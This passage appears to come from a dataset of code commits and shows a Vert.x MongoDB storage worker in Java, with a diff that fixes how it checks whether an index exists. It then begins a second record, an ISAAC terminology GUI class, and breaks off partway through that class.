lang
stringclasses 2
values | license
stringclasses 13
values | stderr
stringlengths 0
343
| commit
stringlengths 40
40
| returncode
int64 0
128
| repos
stringlengths 6
87.7k
| new_contents
stringlengths 0
6.23M
| new_file
stringlengths 3
311
| old_contents
stringlengths 0
6.23M
| message
stringlengths 6
9.1k
| old_file
stringlengths 3
311
| subject
stringlengths 0
4k
| git_diff
stringlengths 0
6.31M
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|
Java | mit | a85ddccdb0bf3cbec7ffdb8ce735b9dccc342bf2 | 0 | dafe/Sentiment,lukeherron/Sentiment,dafe/Sentiment,lukeherron/Sentiment | package com.gofish.sentiment.storage;
import io.vertx.core.Future;
import io.vertx.core.json.JsonArray;
import io.vertx.core.json.JsonObject;
import io.vertx.core.logging.Logger;
import io.vertx.core.logging.LoggerFactory;
import io.vertx.ext.mongo.IndexOptions;
import io.vertx.rxjava.core.AbstractVerticle;
import io.vertx.rxjava.core.eventbus.Message;
import io.vertx.rxjava.core.eventbus.MessageConsumer;
import io.vertx.rxjava.ext.mongo.MongoClient;
import rx.Observable;
/**
* @author Luke Herron
*/
public class StorageWorker extends AbstractVerticle {
public static final String ADDRESS = "sentiment.storage.worker";
private static final Logger LOG = LoggerFactory.getLogger(StorageWorker.class);
private MongoClient mongo;
private MessageConsumer<JsonObject> messageConsumer;
@Override
public void start() throws Exception {
mongo = MongoClient.createShared(vertx, config());
messageConsumer = vertx.eventBus().localConsumer(ADDRESS, this::messageHandler);
}
/**
* We follow the vertx convention for the event bus message format. A header called 'action' gives the name of the
* function to be performed, and the body of the message should be a json object, which contains the message (if any).
* We utilise this convertion to switch on the 'action' header and perform the related task.
*
* @param message json object which contains both the message header and the message itself
*
* @see <a href="https://github.com/vert-x3/vertx-service-proxy/blob/master/src/main/asciidoc/java/index.adoc#convention-for-invoking-services-over-the-event-bus-without-proxies">
* event-bus message format convention
* </a>
*/
private void messageHandler(Message<JsonObject> message) {
String action = message.headers().get("action");
switch (action) {
case "createCollection":
createCollection(message.body(), message);
break;
case "createIndex":
createIndex(message.body(), message);
break;
case "getCollections":
getCollections(message);
break;
case "getSentimentResults":
getSentimentResults(message.body(), message);
break;
case "hasCollection":
hasCollection(message.body(), message);
break;
case "saveArticles":
saveArticles(message.body(), message);
break;
case "isIndexPresent":
isIndexPresent(message.body(), message);
break;
default:
message.reply("Invalid Action");
}
}
/**
* Create a mongo collection using the name specified within the messageBody json object
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void createCollection(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
LOG.info("Creating collection: " + collectionName);
hasCollection(collectionName)
.filter(isPresent -> {
if (isPresent) message.fail(2, "Collection already exists");
return !isPresent;
})
.flatMap(isPresent -> mongo.createCollectionObservable(collectionName))
.subscribe(
result -> message.reply(result),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Create a mongo index for the specified collection name. This is necessary to avoid adding duplicate documents
* to mongo storage. Duplicate documents affect any calculations made against sentiment values.
*
* @param messageBody the jsonObject which holds the collection name and index name
* @param message the originating message, which the result will be sent to via message reply
*/
private void createIndex(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
final String indexName = messageBody.getString("indexName");
final JsonObject collectionIndex = messageBody.getJsonObject("collectionIndex");
final IndexOptions indexOptions = new IndexOptions().name(indexName).unique(true);
LOG.info("Creating index: " + indexName);
isIndexPresent(indexName, collectionName)
.flatMap(isPresent -> isPresent ?
Observable.error(new Throwable("Collection already exists")) :
mongo.createIndexWithOptionsObservable(collectionName, collectionIndex, indexOptions))
.subscribe(
result -> message.reply(result),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Retrieves a list of all current collections in mongo storage
*
* @param message the originating message, which the result will be sent to via message reply
*/
private void getCollections(Message<JsonObject> message) {
LOG.info("Retrieving collections");
mongo.getCollectionsObservable().map(JsonArray::new).subscribe(
collections -> message.reply(collections),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Retrieves the sentiment results for a specific collection name. A collection name maps to an API query, so any
* returned sentiment value will be relevant to the query that is being searched.
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void getSentimentResults(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
LOG.info("Retrieving sentiment results");
mongo.findBatchObservable(collectionName, new JsonObject())
.subscribe(
result -> message.reply(result),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Checks if the specified collection is currently contained in mongo storage.
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void hasCollection(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
LOG.info("Checking if collection " + collectionName + " exists");
hasCollection(collectionName).subscribe(
hasCollection -> message.reply(hasCollection),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Checks if the specified collection is currently contained in mongo storage
*
* @param collectionName the collection name to search for
* @return observable which emits the results of the search
*/
private Observable<Boolean> hasCollection(String collectionName) {
return mongo.getCollectionsObservable().map(collections -> collections.contains(collectionName));
}
/**
* Checks if the specified index is already defined for the specified collection name
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void isIndexPresent(JsonObject messageBody, Message<JsonObject> message) {
final String indexName = messageBody.getString("indexName");
final String collectionName = messageBody.getString("collectionName");
LOG.info("Checking if index " + indexName + " exists in collection " + collectionName);
isIndexPresent(indexName, collectionName).subscribe(
isPresent -> message.reply(isPresent),
failure -> message.fail(1, failure.getMessage() + ":isIndexPresent"),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Checks if the specified index is already defined for the specified collection name
*
* @param indexName index name to search for
* @param collectionName collection name to search within
* @return observable which emits the results of the search
*/
private Observable<Boolean> isIndexPresent(String indexName, String collectionName) {
return mongo.listIndexesObservable(collectionName)
.flatMap(Observable::from)
.map(index -> ((JsonObject) index).getString("name").equals(indexName))
.takeUntil(nameExists -> nameExists)
.lastOrDefault(false);
}
/**
* Stores the provided articles in the specified collection name.
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void saveArticles(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
final JsonArray articles = messageBody.getJsonArray("articles");
JsonObject command = new JsonObject()
.put("insert", collectionName)
.put("documents", articles)
.put("ordered", false);
LOG.info("Saving articles to collection " + collectionName);
mongo.runCommandObservable("insert", command).subscribe(
result -> message.reply(result),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
@Override
public void stop(Future<Void> stopFuture) throws Exception {
messageConsumer.unregisterObservable().subscribe(
stopFuture::complete,
stopFuture::fail,
() -> LOG.info("Unregistered message consumer for mongo worker instance")
);
}
} | storage/src/main/java/com/gofish/sentiment/storage/StorageWorker.java | package com.gofish.sentiment.storage;
import io.vertx.core.Future;
import io.vertx.core.json.JsonArray;
import io.vertx.core.json.JsonObject;
import io.vertx.core.logging.Logger;
import io.vertx.core.logging.LoggerFactory;
import io.vertx.ext.mongo.IndexOptions;
import io.vertx.rxjava.core.AbstractVerticle;
import io.vertx.rxjava.core.eventbus.Message;
import io.vertx.rxjava.core.eventbus.MessageConsumer;
import io.vertx.rxjava.ext.mongo.MongoClient;
import rx.Observable;
/**
* @author Luke Herron
*/
public class StorageWorker extends AbstractVerticle {
public static final String ADDRESS = "sentiment.storage.worker";
private static final Logger LOG = LoggerFactory.getLogger(StorageWorker.class);
private MongoClient mongo;
private MessageConsumer<JsonObject> messageConsumer;
@Override
public void start() throws Exception {
mongo = MongoClient.createShared(vertx, config());
messageConsumer = vertx.eventBus().localConsumer(ADDRESS, this::messageHandler);
}
/**
* We follow the vertx convention for the event bus message format. A header called 'action' gives the name of the
* function to be performed, and the body of the message should be a json object, which contains the message (if any).
* We utilise this convertion to switch on the 'action' header and perform the related task.
*
* @param message json object which contains both the message header and the message itself
*
* @see <a href="https://github.com/vert-x3/vertx-service-proxy/blob/master/src/main/asciidoc/java/index.adoc#convention-for-invoking-services-over-the-event-bus-without-proxies">
* event-bus message format convention
* </a>
*/
private void messageHandler(Message<JsonObject> message) {
String action = message.headers().get("action");
switch (action) {
case "createCollection":
createCollection(message.body(), message);
break;
case "createIndex":
createIndex(message.body(), message);
break;
case "getCollections":
getCollections(message);
break;
case "getSentimentResults":
getSentimentResults(message.body(), message);
break;
case "hasCollection":
hasCollection(message.body(), message);
break;
case "saveArticles":
saveArticles(message.body(), message);
break;
case "isIndexPresent":
isIndexPresent(message.body(), message);
break;
default:
message.reply("Invalid Action");
}
}
/**
* Create a mongo collection using the name specified within the messageBody json object
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void createCollection(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
LOG.info("Creating collection: " + collectionName);
hasCollection(collectionName)
.filter(isPresent -> {
if (isPresent) message.fail(2, "Collection already exists");
return !isPresent;
})
.flatMap(isPresent -> mongo.createCollectionObservable(collectionName))
.subscribe(
result -> message.reply(result),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Create a mongo index for the specified collection name. This is necessary to avoid adding duplicate documents
* to mongo storage. Duplicate documents affect any calculations made against sentiment values.
*
* @param messageBody the jsonObject which holds the collection name and index name
* @param message the originating message, which the result will be sent to via message reply
*/
private void createIndex(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
final String indexName = messageBody.getString("indexName");
final JsonObject collectionIndex = messageBody.getJsonObject("collectionIndex");
final IndexOptions indexOptions = new IndexOptions().name(indexName).unique(true);
LOG.info("Creating index: " + indexName);
isIndexPresent(indexName, collectionName)
.flatMap(isPresent -> isPresent ?
Observable.error(new Throwable("Collection already exists")) :
mongo.createIndexWithOptionsObservable(collectionName, collectionIndex, indexOptions))
.subscribe(
result -> message.reply(result),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Retrieves a list of all current collections in mongo storage
*
* @param message the originating message, which the result will be sent to via message reply
*/
private void getCollections(Message<JsonObject> message) {
LOG.info("Retrieving collections");
mongo.getCollectionsObservable().map(JsonArray::new).subscribe(
collections -> message.reply(collections),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Retrieves the sentiment results for a specific collection name. A collection name maps to an API query, so any
* returned sentiment value will be relevant to the query that is being searched.
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void getSentimentResults(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
LOG.info("Retrieving sentiment results");
mongo.findBatchObservable(collectionName, new JsonObject())
.subscribe(
result -> message.reply(result),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Checks if the specified collection is currently contained in mongo storage.
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void hasCollection(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
LOG.info("Checking if collection " + collectionName + " exists");
hasCollection(collectionName).subscribe(
hasCollection -> message.reply(hasCollection),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Checks if the specified collection is currently contained in mongo storage
*
* @param collectionName the collection name to search for
* @return observable which emits the results of the search
*/
private Observable<Boolean> hasCollection(String collectionName) {
return mongo.getCollectionsObservable().map(collections -> collections.contains(collectionName));
}
/**
* Checks if the specified index is already defined for the specified collection name
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void isIndexPresent(JsonObject messageBody, Message<JsonObject> message) {
final String indexName = messageBody.getString("indexName");
final String collectionName = messageBody.getString("collectionName");
LOG.info("Checking if index " + indexName + " exists in collection " + collectionName);
isIndexPresent(indexName, collectionName).subscribe(
isPresent -> message.reply(isPresent),
failure -> message.fail(1, failure.getMessage() + ":isIndexPresent"),
() -> vertx.undeploy(deploymentID())
);
}
/**
* Checks if the specified index is already defined for the specified collection name
*
* @param indexName index name to search for
* @param collectionName collection name to search within
* @return observable which emits the results of the search
*/
private Observable<Boolean> isIndexPresent(String indexName, String collectionName) {
return mongo.listIndexesObservable(collectionName).map(indexes -> indexes.contains(indexName));
}
/**
* Stores the provided articles in the specified collection name.
*
* @param messageBody the jsonObject which holds the collection name
* @param message the originating message, which the result will be sent to via message reply
*/
private void saveArticles(JsonObject messageBody, Message<JsonObject> message) {
final String collectionName = messageBody.getString("collectionName");
final JsonArray articles = messageBody.getJsonArray("articles");
JsonObject command = new JsonObject()
.put("insert", collectionName)
.put("documents", articles)
.put("ordered", false);
LOG.info("Saving articles to collection " + collectionName);
mongo.runCommandObservable("insert", command).subscribe(
result -> message.reply(result),
failure -> message.fail(1, failure.getMessage()),
() -> vertx.undeploy(deploymentID())
);
}
@Override
public void stop(Future<Void> stopFuture) throws Exception {
messageConsumer.unregisterObservable().subscribe(
stopFuture::complete,
stopFuture::fail,
() -> LOG.info("Unregistered message consumer for mongo worker instance")
);
}
} | fixed isIndexPresent() method to correctly check for existence of
indexes in collections
| storage/src/main/java/com/gofish/sentiment/storage/StorageWorker.java | fixed isIndexPresent() method to correctly check for existence of indexes in collections | <ide><path>torage/src/main/java/com/gofish/sentiment/storage/StorageWorker.java
<ide> * @return observable which emits the results of the search
<ide> */
<ide> private Observable<Boolean> isIndexPresent(String indexName, String collectionName) {
<del> return mongo.listIndexesObservable(collectionName).map(indexes -> indexes.contains(indexName));
<add> return mongo.listIndexesObservable(collectionName)
<add> .flatMap(Observable::from)
<add> .map(index -> ((JsonObject) index).getString("name").equals(indexName))
<add> .takeUntil(nameExists -> nameExists)
<add> .lastOrDefault(false);
<ide> }
<ide>
<ide> /** |
|
Java | apache-2.0 | 4308a4ba8ba6aa1df1917fabe9b4efaa075b0ade | 0 | OSEHRA/ISAAC,OSEHRA/ISAAC,OSEHRA/ISAAC | /*
* Licensed under the Apache License, Version 2.0 (the "License");
*
* You may not use this file except in compliance with the License.
*
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
*
* See the License for the specific language governing permissions and
* limitations under the License.
*
* Contributions from 2013-2017 where performed either by US government
* employees, or under US Veterans Health Administration contracts.
*
* US Veterans Health Administration contributions by government employees
* are work of the U.S. Government and are not subject to copyright
* protection in the United States. Portions contributed by government
* employees are USGovWork (17USC §105). Not subject to copyright.
*
* Contribution by contractors to the US Veterans Health Administration
* during this period are contractually contributed under the
* Apache License, Version 2.0.
*
* See: https://www.usa.gov/government-works
*
* Contributions prior to 2013:
*
* Copyright (C) International Health Terminology Standards Development Organisation.
* Licensed under the Apache License, Version 2.0.
*
*/
package sh.isaac.komet.gui.semanticViewer;
import java.util.AbstractMap;
import java.util.Date;
import java.util.HashMap;
import java.util.Optional;
import java.util.function.ToIntFunction;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.apache.mahout.math.Arrays;
import sh.isaac.api.Get;
import sh.isaac.api.Status;
import sh.isaac.api.chronicle.Chronology;
import sh.isaac.api.chronicle.LatestVersion;
import sh.isaac.api.component.concept.ConceptChronology;
import sh.isaac.api.component.semantic.SemanticChronology;
import sh.isaac.api.component.semantic.version.ComponentNidVersion;
import sh.isaac.api.component.semantic.version.DescriptionVersion;
import sh.isaac.api.component.semantic.version.DynamicVersion;
import sh.isaac.api.component.semantic.version.LogicGraphVersion;
import sh.isaac.api.component.semantic.version.LongVersion;
import sh.isaac.api.component.semantic.version.SemanticVersion;
import sh.isaac.api.component.semantic.version.StringVersion;
import sh.isaac.api.component.semantic.version.brittle.BrittleVersion;
import sh.isaac.api.component.semantic.version.brittle.BrittleVersion.BrittleDataTypes;
import sh.isaac.api.component.semantic.version.dynamic.DynamicData;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicArray;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicByteArray;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicDouble;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicFloat;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicInteger;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicLong;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicNid;
import sh.isaac.api.component.semantic.version.dynamic.types.DynamicUUID;
import sh.isaac.api.util.AlphanumComparator;
import sh.isaac.model.semantic.types.DynamicBooleanImpl;
import sh.isaac.model.semantic.types.DynamicFloatImpl;
import sh.isaac.model.semantic.types.DynamicIntegerImpl;
import sh.isaac.model.semantic.types.DynamicLongImpl;
import sh.isaac.model.semantic.types.DynamicNidImpl;
import sh.isaac.model.semantic.types.DynamicStringImpl;
import sh.isaac.utility.Frills;
import sh.isaac.utility.NumericUtilsDynamic;
import sh.komet.gui.manifold.Manifold;
/**
* {@link SemanticGUI}
*
* A Wrapper for a SemanticVersion - because the versioned refex provides no information
* about whether or not it is an old version, or if it is the latest version. Add a flag for
* is latest.
*
* Also used in cases where we are constructing a new Refex - up front, we know a NID (which is either the assemblyNid or
* the referenced component nid.
*
* @author <a href="mailto:[email protected]">Dan Armbrust</a>
*/
public class SemanticGUI
{
private static Logger logger_ = LogManager.getLogger(SemanticGUI.class);
//These variables are used when we are working with a refex that already exists
private SemanticVersion refex_;
private boolean isCurrent_;
private HashMap<String, AbstractMap.SimpleImmutableEntry<String, String>> stringCache_ = new HashMap<>();
//These variables are used when we are creating a new refex which doesn't yet exist.
private Integer buildFromReferenceNid_;
private boolean referenceIsAssemblyNid_;
private Manifold manifold_;
protected SemanticGUI(SemanticVersion refex, boolean isCurrent, Manifold manifold)
{
refex_ = refex;
isCurrent_ = isCurrent;
manifold_ = manifold;
}
protected SemanticGUI(int buildFromReferenceNid, boolean referenceIsAssemblyNid, Manifold manifold)
{
refex_ = null;
isCurrent_ = false;
buildFromReferenceNid_ = buildFromReferenceNid;
referenceIsAssemblyNid_ = referenceIsAssemblyNid;
manifold_ = manifold;
}
/**
* Contains the refex reference when this object was constructed based on an existing refex
* @return the semantic
*/
public SemanticVersion getSemantic()
{
return refex_;
}
/**
* If this was constructed based off of an existing refex, is this the most current refex? Or a historical one?
* This is meaningless if {@link #getSemantic()} return null.
* @return true if current
*/
public boolean isCurrent()
{
return isCurrent_;
}
/**
* If this was constructed with just a nid (building a new refex from scratch) this returns it - otherwise, returns null.
* @return the nid, or null
*/
public Integer getBuildFromReferenceNid()
{
return buildFromReferenceNid_;
}
/**
* @return If this was constructed with just a nid - this returns true of the nid is pointing to an assemblage concept - false if it is
* pointing to a component reference. The value is meaningless if {@link #getBuildFromReferenceNid()} returns null.
*/
public boolean getReferenceIsAssemblyNid()
{
return referenceIsAssemblyNid_;
}
/**
* For cases when it was built from an existing refex only
* @param columnTypeToCompare
* @param attachedDataColumn - optional - ignored (can be null) except applicable to {@link SemanticGUIColumnType#ATTACHED_DATA}
* @param other
* @return negative or positive for sorting purposes
*/
public int compareTo(SemanticGUIColumnType columnTypeToCompare, Integer attachedDataColumn, SemanticGUI other)
{
switch (columnTypeToCompare)
{
case STATUS_CONDENSED:
{
//sort by uncommitted first, then current / historical, then active / inactive
if (this.getSemantic().getTime() == Long.MAX_VALUE)
{
return -1;
}
else if (other.getSemantic().getTime() == Long.MAX_VALUE)
{
return 1;
}
if (this.isCurrent() && !other.isCurrent())
{
return -1;
}
else if (!this.isCurrent() && other.isCurrent())
{
return 1;
}
if (this.getSemantic().getStatus() == Status.ACTIVE && other.getSemantic().getStatus() == Status.INACTIVE)
{
return -1;
}
else if (this.getSemantic().getStatus() == Status.INACTIVE && other.getSemantic().getStatus() == Status.ACTIVE)
{
return 1;
}
return 0;
}
case TIME:
{
if (this.getSemantic().getTime() < other.getSemantic().getTime())
{
return -1;
}
else if (this.getSemantic().getTime() > other.getSemantic().getTime())
{
return -1;
}
else
{
return 0;
}
}
case COMPONENT: case ASSEMBLAGE: case STATUS_STRING: case AUTHOR: case MODULE: case PATH: case UUID:
{
String myString = this.getDisplayStrings(columnTypeToCompare, null).getKey();
String otherString = other.getDisplayStrings(columnTypeToCompare, null).getKey();
return AlphanumComparator.compare(myString, otherString, true);
}
case ATTACHED_DATA:
{
if (attachedDataColumn == null)
{
throw new RuntimeException("API misuse");
}
DynamicData myData = getData(this.refex_).length > attachedDataColumn ? getData(this.refex_)[attachedDataColumn] : null;
DynamicData otherData = getData(other.refex_).length > attachedDataColumn ? getData(other.refex_)[attachedDataColumn] : null;
if (myData == null && otherData != null)
{
return -1;
}
else if (myData != null && otherData == null)
{
return 1;
}
else if (myData == null && otherData == null)
{
return 0;
}
else if (myData instanceof DynamicFloat && otherData instanceof DynamicFloat)
{
return NumericUtilsDynamic.compare(((DynamicFloat) myData).getDataFloat(), ((DynamicFloat) otherData).getDataFloat());
}
else if (myData instanceof DynamicDouble && otherData instanceof DynamicDouble)
{
return NumericUtilsDynamic.compare(((DynamicDouble) myData).getDataDouble(), ((DynamicDouble) otherData).getDataDouble());
}
else if (myData instanceof DynamicInteger && otherData instanceof DynamicInteger)
{
return NumericUtilsDynamic.compare(((DynamicInteger) myData).getDataInteger(), ((DynamicInteger) otherData).getDataInteger());
}
else if (myData instanceof DynamicLong && otherData instanceof DynamicLong)
{
return NumericUtilsDynamic.compare(((DynamicLong) myData).getDataLong(), ((DynamicLong) otherData).getDataLong());
}
else
{
String myString = this.getDisplayStrings(columnTypeToCompare, attachedDataColumn).getKey();
String otherString = other.getDisplayStrings(columnTypeToCompare, attachedDataColumn).getKey();
return AlphanumComparator.compare(myString, otherString, true);
}
}
default:
throw new RuntimeException("Missing implementation: " + columnTypeToCompare);
}
}
/**
* @param desiredColumn
* @param attachedDataColumn should be null for most types - applicable to {@link SemanticGUIColumnType#ATTACHED_DATA}
* @return Returns the string for display, and the tooltip, if applicable. Either / or may be null.
* Key is for the display, value is for the tooltip.
*/
public AbstractMap.SimpleImmutableEntry<String, String> getDisplayStrings(SemanticGUIColumnType desiredColumn, Integer attachedDataColumn)
{
String cacheKey = desiredColumn.name() + attachedDataColumn; //null is ok on the attachedDataColumn...
AbstractMap.SimpleImmutableEntry<String, String> returnValue = stringCache_.get(cacheKey);
if (returnValue != null)
{
return returnValue;
}
switch (desiredColumn)
{
case STATUS_CONDENSED:
{
//Just easier to leave the impl in StatusCell for this one. We don't need filters on this column either.
throw new RuntimeException("No text for this field");
}
case COMPONENT: case ASSEMBLAGE: case AUTHOR: case PATH: case MODULE:
{
String text = getComponentText(getNidFetcher(desiredColumn, attachedDataColumn));
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(text, text);
break;
}
case UUID:
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(refex_.getPrimordialUuid().toString(), "");
break;
}
case STATUS_STRING:
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(refex_.getStatus().toString(), null);
break;
}
case TIME:
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>((refex_.getTime() == Long.MAX_VALUE ? "-Uncommitted-" :
new Date(refex_.getTime()).toString()), null);
break;
}
case ATTACHED_DATA:
{
if (attachedDataColumn == null)
{
throw new RuntimeException("API misuse");
}
DynamicData data = getData(this.refex_).length > attachedDataColumn ? getData(this.refex_)[attachedDataColumn] : null;
if (data != null)
{
if (data instanceof DynamicByteArray)
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>("[Binary]", null);
}
else if (data instanceof DynamicNid)
{
String desc = getComponentText(((DynamicNid)data).getDataNid());
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(desc, data.getDataObject().toString());
}
else if (data instanceof DynamicUUID)
{
String desc;
if (Get.identifierService().hasUuid(((DynamicUUID)data).getDataUUID()))
{
desc = getComponentText(Get.identifierService().getNidForUuids(((DynamicUUID)data).getDataUUID()));
}
else
{
desc = ((DynamicUUID)data).getDataUUID() + "";
}
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(desc, data.getDataObject().toString());
}
else if (data instanceof DynamicArray<?>)
{
DynamicArray<?> instanceData = (DynamicArray<?>)data;
StringBuilder sb = new StringBuilder();
sb.append("[");
for (DynamicData dsd : instanceData.getDataArray())
{
switch (dsd.getDynamicDataType())
{
case ARRAY:
//Could recurse... but I can't imagine a use case at the moment.
sb.append("[Nested Array], ");
break;
case STRING: case BOOLEAN: case DOUBLE: case FLOAT: case INTEGER: case LONG: case NID: case UUID:
{
//NID and UUID could be turned into strings... but, unusual use case... leave like this for now.
sb.append(dsd.getDataObject().toString());
sb.append(", ");
break;
}
case BYTEARRAY:
sb.append("[Binary of size " + dsd.getData().length + "], ");
break;
case UNKNOWN: case POLYMORPHIC:
{
//shouldn't happen - but just do the toString
sb.append("Unknown Type, ");
break;
}
default:
sb.append("Unhandled case: " + dsd.getDynamicDataType() + ", ");
logger_.warn("Missing toString case!");
break;
}
}
if (sb.length() > 1)
{
sb.setLength(sb.length() - 2);
}
sb.append("]");
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(sb.toString(), "Array of "
+ instanceData.getDataArray().length + " items: " + sb.toString());
}
else
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>(data.getDataObject().toString(), data.getDataObject().toString());
}
}
else
{
returnValue = new AbstractMap.SimpleImmutableEntry<String, String>("", null);
}
break;
}
default:
throw new RuntimeException("Missing implementation: " + desiredColumn);
}
stringCache_.put(cacheKey, returnValue);
return returnValue;
}
private String getComponentText(ToIntFunction<SemanticVersion> nidFetcher)
{
return getComponentText(nidFetcher.applyAsInt(this.refex_));
}
private String getComponentText(int nid)
{
String text;
try
{
//This may be a different component - like a description, or another refex... need to handle.
Optional<? extends Chronology> oc = Get.identifiedObjectService().getChronology(nid);
if (!oc.isPresent())
{
text = "[NID] " + nid + " not on path";
}
else if (oc.get() instanceof ConceptChronology)
{
Optional<String> conDesc = Frills.getDescription(oc.get().getNid(), manifold_.getStampCoordinate(), manifold_.getLanguageCoordinate());
text = (conDesc.isPresent() ? conDesc.get() : "off path [NID]:" + oc.get().getNid());
}
else if (oc.get() instanceof SemanticChronology)
{
SemanticChronology sc = (SemanticChronology)oc.get();
switch (sc.getVersionType()) {
case COMPONENT_NID:
text = "Component NID Semantic using assemblage: " + Frills.getDescription(sc.getAssemblageNid(), null).orElse(sc.getAssemblageNid() + "");
break;
case DESCRIPTION:
LatestVersion<DescriptionVersion> ds = sc.getLatestVersion(manifold_.getStampCoordinate());
text = "Description Semantic: " + (ds.isPresent() ? ds.get().getText() : "off path [NID]: " + sc.getNid());
break;
case DYNAMIC:
text = "Dynamic Semantic using assemblage: " + Frills.getDescription(sc.getAssemblageNid(), null).orElse(sc.getAssemblageNid() + "");
break;
case LOGIC_GRAPH:
text = "Logic Graph Semantic [NID]: " + oc.get().getNid();
break;
case LONG:
LatestVersion<LongVersion> sl = sc.getLatestVersion(manifold_.getStampCoordinate());
text = "String Semantic: " + (sl.isPresent() ? sl.get().getLongValue() : "off path [NID]: " + sc.getNid());
break;
case MEMBER:
text = "Member Semantic using assemblage: " + Frills.getDescription(sc.getAssemblageNid(), null).orElse(sc.getAssemblageNid() + "");
break;
case STRING:
LatestVersion<StringVersion> ss = sc.getLatestVersion(manifold_.getStampCoordinate());
text = "String Semantic: " + (ss.isPresent() ? ss.get().getString() : "off path [NID]: " + sc.getNid());
break;
case Int1_Int2_Str3_Str4_Str5_Nid6_Nid7:
case LOINC_RECORD:
case MEASURE_CONSTRAINTS:
case Nid1_Int2:
case Nid1_Int2_Str3_Str4_Nid5_Nid6:
case Nid1_Nid2:
case Nid1_Nid2_Int3:
case Nid1_Nid2_Str3:
case Nid1_Str2:
case RF2_RELATIONSHIP:
case Str1_Nid2_Nid3_Nid4:
case Str1_Str2:
case Str1_Str2_Nid3_Nid4:
case Str1_Str2_Nid3_Nid4_Nid5:
case Str1_Str2_Str3_Str4_Str5_Str6_Str7:
LatestVersion<BrittleVersion> bv = sc.getLatestVersion(manifold_.getStampCoordinate());
text = "Brittle Semantic: " + (bv.isPresent() ? Arrays.toString(bv.get().getDataFields()) : "off path [NID]: " + sc.getNid());
break;
case UNKNOWN:
case CONCEPT:
//Should be impossible
default :
logger_.warn("The semantic type " + sc.getVersionType() + " is not handled yet!");
text = oc.get().toUserString();
break;
}
}
else if (oc.get() instanceof DynamicVersion<?>)
{
//TODO I don't think this is necessary / in use?
DynamicVersion<?> nds = (DynamicVersion<?>) oc.get();
text = "Nested Semantic Dynamic: using assemblage " + Frills.getDescription(nds.getAssemblageNid(), null);
}
else
{
logger_.warn("The component type " + oc.get().getClass() + " is not handled yet!");
text = oc.get().toUserString();
}
}
catch (Exception e)
{
logger_.error("Unexpected error", e);
text = "-ERROR-";
}
return text;
}
/**
* @param desiredColumn
* @param attachedDataColumn null for most types - applicable to {@link SemanticGUIColumnType#ATTACHED_DATA}
* @return the nid for the column
*/
public ToIntFunction<SemanticVersion> getNidFetcher(SemanticGUIColumnType desiredColumn, Integer attachedDataColumn)
{
switch (desiredColumn)
{
case STATUS_CONDENSED:
{
throw new RuntimeException("Improper API usage");
}
case COMPONENT:
{
return new ToIntFunction<SemanticVersion>()
{
@Override
